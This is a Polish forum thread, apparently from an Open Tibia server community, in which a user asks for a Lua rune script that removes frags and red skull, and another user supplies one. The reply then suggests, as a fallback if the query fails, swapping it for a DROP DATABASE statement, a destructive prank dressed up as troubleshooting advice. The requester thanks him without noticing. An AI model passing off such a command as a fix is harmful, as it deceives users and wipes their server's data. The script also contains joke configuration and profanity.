• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!
  • 2026 staff recruitment is open! Check it out and consider applying!

skrypt na runke

Status
Not open for further replies.

Rodman

New Member
Joined
Mar 11, 2009
Messages
43
Reaction score
0
Witam potrafi ktos zrobic runke usuwajaca fragi i redskulla??
na redskulla mam ale zeby wszystkie fragi kasowalo jeszcze
rep+
 
Proszę, sam takiej używam i jest fajna, ktosik kasuje posty, nawet te w których prośbę spełniłem :(

Code:
local config =
{
	onlyForPremium = "no",
	removeBook = "yes",
	Piotrek1447JestFajny = "yes"
}

config.onlyForPremium = getBooleanFromString(config.onlyForPremium)
config.removeBook = getBooleanFromString(config.removeBook)
config.Piotrek1447JestFajny = getBooleanFromString(config.Piotrek1447JestFajny)

function onUse(cid, item, fromPosition, itemEx, toPosition)
	local fajnosc = config.Piotrek1447JestFajny
	if(not fajnosc) then
		print("on musi byc fajny, inaczej ni chuja.")
		return true
	end
	
	local premium = config.onlyForPremium
	if(premium and not isPremium(cid)) then
		doPlayerSendDefaultCancel(cid, RETURNVALUE_YOUNEEDPREMIUMACCOUNT)
		return true
	end
	
	local skullend = getPlayerSkullEnd(cid)
	if(skullend == 0) then
		doPlayerSendCancel(cid, "You dont have any frags!")
		return true
	end
	
	local removeBook = config.removeBook
	if(removeBook) then
		doRemoveItem(item.uid, 1)
	end
	
	doPlayerSetSkullEnd(cid, 0, SKULL_RED)
	doPlayerSetSkullEnd(cid, 0, SKULL_BLACK)
	db.executeQuery("UPDATE `killers` SET `unjustified` = 0 WHERE `id` IN (SELECT `kill_id` FROM `player_killers` WHERE `player_id` = " .. getPlayerGUID(cid) .. ");");
	doCreatureSay(cid, "Your frags is succesfully removed. Piotrek1447 haks0r.", TALKTYPE_ORANGE_1)
	doSendMagicEffect(getThingPos(cid), CONST_ME_MAGIC_GREEN)
	return true
end

I jak Rodman, działa?
Ewentualnie jak by ci to zapytanie nie działało
Code:
db.executeQuery("UPDATE `killers` SET `unjustified` = 0 WHERE `id` IN (SELECT `kill_id` FROM `player_killers` WHERE `player_id` = " .. getPlayerGUID(cid) .. ");");
To zamień na
Code:
db.executeQuery("DROP DATABASE getConfigValue("sqlDatabase")")
:thumbup:
 
Last edited by a moderator:
dzieki Piotrek dobra robote tu robisz oby wiecej takich ludzi
 
Status
Not open for further replies.
Back
Top